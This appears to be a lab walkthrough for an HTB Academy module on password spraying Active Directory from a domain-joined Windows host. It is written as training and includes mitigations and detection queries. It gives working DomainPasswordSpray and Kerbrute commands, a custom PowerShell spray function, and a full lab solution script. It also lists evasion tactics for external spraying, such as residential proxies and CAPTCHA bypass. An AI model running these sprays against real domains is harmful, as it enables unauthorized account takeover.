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Internal Password Spraying - from Windows

📋 Overview

When operating from a domain-joined Windows host, password spraying becomes significantly more powerful and automated. The DomainPasswordSpray.ps1 tool leverages domain context to automatically generate user lists, query password policies, and intelligently avoid account lockouts while maximizing attack efficiency.

🎯 Attack Scenarios

🏢 Common Windows Attack Contexts

  • Initial Foothold: Compromised domain-joined workstation
  • Managed Devices: Client-provided Windows testing environment
  • Physical Access: On-site penetration testing from Windows VM
  • Privilege Escalation: Authenticated user seeking higher privileges
  • Lateral Movement: Expanding access within domain environment

⚡ Key Advantages from Windows

  • Domain Integration: Automatic user enumeration from Active Directory
  • Policy Awareness: Intelligent lockout threshold detection
  • Fine-Grained Control: Support for Fine-Grained Password Policies
  • Smart Filtering: Automatic exclusion of near-lockout accounts
  • Native Tools: PowerShell-based execution without external dependencies

🔧 DomainPasswordSpray.ps1

📝 Tool Overview

  • Author: dafthack (Beau Bullock)
  • Language: PowerShell
  • Context: Domain-joined Windows hosts
  • Intelligence: Automatic policy detection and user filtering
  • Safety: Built-in lockout prevention mechanisms

⚙️ Key Features

# Automatic capabilities when domain-joined:
- User list generation from Active Directory
- Domain password policy enumeration
- Fine-Grained Password Policy detection
- Disabled account filtering
- Near-lockout account exclusion
- Intelligent timing between spray attempts

🚀 Basic Usage (Domain-Joined)

# Import the module
Import-Module .\DomainPasswordSpray.ps1

# Basic password spray with single password
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

📊 Example Execution Output

PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1

[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_success

🔧 Advanced DomainPasswordSpray Usage

📋 Command Parameters

# Full parameter list
Invoke-DomainPasswordSpray
    -Password <string>          # Single password to test
    -PasswordList <string>      # File containing multiple passwords
    -UserList <string>          # Custom user list (optional)
    -OutFile <string>           # Output file for results
    -Domain <string>            # Target domain (auto-detected if domain-joined)
    -Force                      # Skip confirmation prompts
    -UsernameAsPassword         # Test username as password
    -ErrorAction SilentlyContinue  # Suppress error output

🎯 Multiple Password Spraying

# Create password list file
"Welcome1" | Out-File -FilePath passwords.txt -Encoding ASCII
"Password123" | Out-File -FilePath passwords.txt -Append -Encoding ASCII
"Winter2022" | Out-File -FilePath passwords.txt -Append -Encoding ASCII
"Spring2024" | Out-File -FilePath passwords.txt -Append -Encoding ASCII

# Spray multiple passwords
Invoke-DomainPasswordSpray -PasswordList passwords.txt -OutFile spray_results -Force

🔍 Custom User List (Non-Domain Context)

# For non-domain-joined scenarios
$users = @("user1", "user2", "user3", "admin", "service")
$users | Out-File -FilePath custom_users.txt -Encoding ASCII

Invoke-DomainPasswordSpray -UserList custom_users.txt -Password Welcome1 -Domain inlanefreight.local -OutFile results

🛡️ Safety Features

# Tool automatically:
- Detects lockout thresholds (finds smallest threshold across domain)
- Excludes disabled accounts from spray list
- Removes users within 1 attempt of lockout
- Implements wait times between spray attempts
- Respects Fine-Grained Password Policies
- Provides confirmation prompts for large user lists

🎯 HTB Academy Lab Walkthrough

📝 Lab Question

"Using the examples shown in this section, find a user with the password Winter2022. Submit the username as the answer."

🚀 Step-by-Step Solution

1️⃣ Connect to Target Windows Host

# RDP to target machine
xfreerdp /v:10.129.99.227 /u:htb-student /p:Academy_student_AD!

2️⃣ Access PowerShell as Administrator

# Right-click PowerShell -> Run as Administrator
# Navigate to tools directory
cd C:\Tools

3️⃣ Import DomainPasswordSpray Module

# Import the PowerShell module
Import-Module .\DomainPasswordSpray.ps1

# Verify module is loaded
Get-Command Invoke-DomainPasswordSpray

4️⃣ Execute Password Spray with Winter2022

# Spray Winter2022 password against all domain users
Invoke-DomainPasswordSpray -Password Winter2022 -OutFile winter_spray_results -ErrorAction SilentlyContinue

5️⃣ Expected Output Analysis

# Tool will show:
[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are XXXX total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing XXXX users gathered from the current user's domain

# When prompted:
Are you sure you want to perform a password spray against XXXX accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

# Success output will show:
[*] SUCCESS! User:[TARGET_USER] Password:Winter2022

6️⃣ Check Results File

# View successful logins
Get-Content winter_spray_results
type winter_spray_results

# Expected format:
# [TARGET_USER]:Winter2022

7️⃣ Alternative: Kerbrute from Windows

# If DomainPasswordSpray is unavailable, use Kerbrute
cd C:\Tools
kerbrute.exe passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt Winter2022

✅ Expected Answer Format

Based on typical HTB lab patterns, the answer should be a username like:

  • jhall
  • mholliday
  • dgraves
  • [specific_username]

(Actual answer will be visible in the spray results output)

🛠️ Alternative Windows Tools

🎫 Kerbrute on Windows

# Download and use Kerbrute Windows binary
kerbrute.exe userenum -d inlanefreight.local --dc 172.16.5.5 users.txt
kerbrute.exe passwordspray -d inlanefreight.local --dc 172.16.5.5 users.txt Winter2022

🔨 Native PowerShell Spraying

# Simple PowerShell spray function
function Test-DomainCredential {
    param($Username, $Password, $Domain)
    
    $cred = New-Object System.Management.Automation.PSCredential("$Domain\$Username", (ConvertTo-SecureString $Password -AsPlainText -Force))
    
    try {
        $session = New-PSSession -Credential $cred -ErrorAction Stop
        Remove-PSSession $session
        return $true
    }
    catch {
        return $false
    }
}

# Usage
$users = @("user1", "user2", "user3")
foreach ($user in $users) {
    if (Test-DomainCredential -Username $user -Password "Winter2022" -Domain "inlanefreight") {
        Write-Host "[SUCCESS] $user:Winter2022" -ForegroundColor Green
    }
}

🛡️ Mitigations

🔐 Multi-Factor Authentication (MFA)

# Implementation considerations:
- Push notifications to mobile devices
- Rotating One Time Passwords (OTP) - Google Authenticator, RSA tokens
- SMS text message confirmations
- Hardware security keys (FIDO2, U2F)
- Biometric authentication

⚠️ Important Notes:

  • Some MFA implementations still disclose valid username/password combinations
  • Credentials may be reusable against other services without MFA
  • Implement MFA on all external portals and critical applications

🚪 Access Restrictions

# Principle of least privilege:
- Restrict application access to users who require it
- Implement role-based access controls (RBAC)
- Regular access reviews and cleanup
- Disable unnecessary service accounts
- Limit domain user application access

🎯 Reducing Impact of Successful Exploitation

# Defensive strategies:
- Separate privileged accounts for administrative activities
- Application-specific permission levels
- Network segmentation (isolate compromised subnets)
- Just-in-Time (JIT) administrative access
- Privileged Access Management (PAM) solutions

🔑 Password Hygiene

# Password policies and education:
- Encourage passphrases over complex passwords
- Implement password filters for:
  * Common dictionary words
  * Months and seasons (Spring, Winter, etc.)
  * Company name variations
  * Sequential patterns (123, abc)
- Regular password security training
- Password manager adoption

⚖️ Lockout Policy Considerations

# Balanced approach:
- Avoid overly restrictive lockout policies (DoS risk)
- Consider account lockout duration vs. manual unlock
- Implement progressive delays instead of hard lockouts
- Monitor for mass lockout events
- Exception handling for service accounts

🔍 Detection

📊 Key Event IDs to Monitor

🚨 Event ID 4625: Account Failed to Log On

# Indicators of password spraying:
- Multiple 4625 events in short time period
- Same source IP across multiple usernames
- Failed attempts with valid usernames
- Patterns in timing (automated attempts)

🎫 Event ID 4771: Kerberos Pre-authentication Failed

# LDAP password spraying detection:
- Requires Kerberos logging enabled
- Multiple pre-auth failures from single source
- Indicates more sophisticated attackers avoiding SMB

📈 Detection Rules and Queries

🔍 SIEM Query Examples

-- PowerShell/Splunk Query for Password Spray Detection
index=security EventCode=4625 
| stats count by src_ip, user 
| where count > 3 
| stats count by src_ip 
| where count > 10

-- KQL Query for Azure Sentinel
SecurityEvent
| where EventID == 4625
| summarize FailedAttempts = count() by SourceIP = IpAddress, TimeGenerated
| where FailedAttempts > 5

🚨 Alert Thresholds

# Recommended alerting criteria:
- 5+ failed logins from single IP within 5 minutes
- 10+ unique usernames targeted from single source
- Failed login attempts outside business hours
- Geographic anomalies (impossible travel)
- Service account lockouts (often targeted)

🕵️ Behavioral Analytics

# Advanced detection methods:
- Baseline normal authentication patterns
- Detect deviations in login timing
- Identify unusual source locations
- Monitor for distributed spraying (multiple IPs)
- Correlate with other attack indicators

🌐 External Password Spraying Targets

📋 Common External Targets

# Microsoft 365 and Exchange:
- Microsoft 365 (Office 365)
- Outlook Web Exchange (OWE)
- Exchange Web Access (EWA)
- Skype for Business
- Microsoft Teams
- OneDrive for Business

# Remote Access Solutions:
- Microsoft Remote Desktop Services (RDS) Portals
- Citrix portals with AD authentication
- VDI implementations (VMware Horizon, etc.)
- VPN portals (Citrix, SonicWall, OpenVPN, Fortinet)

# Collaboration and Custom Apps:
- SharePoint Online
- Custom web applications using AD authentication
- Intranet portals
- Business applications with SAML/SSO

🎯 External Spraying Considerations

# Attack adaptations for external targets:
- Slower timing to avoid detection
- Distributed source IPs (residential proxies)
- User-Agent rotation
- Session management
- CAPTCHA bypass techniques
- Account enumeration before spraying

📝 Complete Lab Solution Script

🚀 Automated Lab Solution

# Complete PowerShell script for HTB Lab
# Save as: winter_spray_lab.ps1

Write-Host "[*] HTB Academy Lab: Finding Winter2022 Password" -ForegroundColor Cyan

# Import DomainPasswordSpray module
try {
    Import-Module .\DomainPasswordSpray.ps1 -ErrorAction Stop
    Write-Host "[+] DomainPasswordSpray module imported successfully" -ForegroundColor Green
}
catch {
    Write-Host "[-] Failed to import DomainPasswordSpray module" -ForegroundColor Red
    exit 1
}

# Execute password spray
Write-Host "[*] Starting password spray with Winter2022..." -ForegroundColor Yellow

try {
    Invoke-DomainPasswordSpray -Password Winter2022 -OutFile winter_results -Force -ErrorAction SilentlyContinue
    Write-Host "[+] Password spray completed" -ForegroundColor Green
}
catch {
    Write-Host "[-] Password spray failed: $($_.Exception.Message)" -ForegroundColor Red
    exit 1
}

# Check results
if (Test-Path winter_results) {
    Write-Host "[*] Checking results..." -ForegroundColor Yellow
    $results = Get-Content winter_results
    
    if ($results) {
        Write-Host "[+] SUCCESS! Found credentials:" -ForegroundColor Green
        $results | ForEach-Object {
            Write-Host "    $_" -ForegroundColor Yellow
            $username = $_.Split(':')[0]
            Write-Host "[*] Lab Answer: $username" -ForegroundColor Cyan
        }
    }
    else {
        Write-Host "[-] No successful logins found" -ForegroundColor Red
    }
}
else {
    Write-Host "[-] Results file not created" -ForegroundColor Red
}

⚡ Quick Reference Commands

🔧 Essential Commands

# Import and basic spray
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Winter2022 -OutFile results -Force

# Multiple passwords
Invoke-DomainPasswordSpray -PasswordList passwords.txt -OutFile results -Force

# Check results
Get-Content results
type results

# Kerbrute alternative
kerbrute.exe passwordspray -d domain.local --dc DC_IP users.txt PASSWORD

🔍 Verification Commands

# Verify discovered credentials
net use \\DC_IP\IPC$ /user:DOMAIN\USERNAME PASSWORD

# Test RDP access
mstsc /v:TARGET_IP /u:USERNAME /p:PASSWORD

# PowerShell credential test
$cred = Get-Credential
Test-WSMan -ComputerName TARGET -Credential $cred

🔑 Key Takeaways

✅ Windows Spraying Advantages

  • Automated Intelligence: Domain-joined context provides automatic user enumeration and policy detection
  • Built-in Safety: Intelligent lockout prevention and account filtering
  • Native Integration: PowerShell-based tools leverage existing Windows infrastructure
  • Policy Awareness: Respects Fine-Grained Password Policies and lockout thresholds

⚠️ Critical Considerations

  • Confirmation Prompts: Tool requires confirmation for large user lists (security feature)
  • Timing Intelligence: Automatic wait periods based on domain policy
  • Scope Awareness: Tool operates within current user's domain context
  • Output Management: Results are saved to specified files for later analysis

🎯 Post-Success Actions

  1. Immediate Validation: Test discovered credentials against multiple services
  2. Privilege Assessment: Determine access levels and group memberships
  3. Lateral Movement: Use credentials for further domain enumeration
  4. Documentation: Log all findings for comprehensive reporting

Windows-based password spraying combines the power of domain integration with intelligent automation - making it one of the most effective credential discovery methods in Active Directory environments.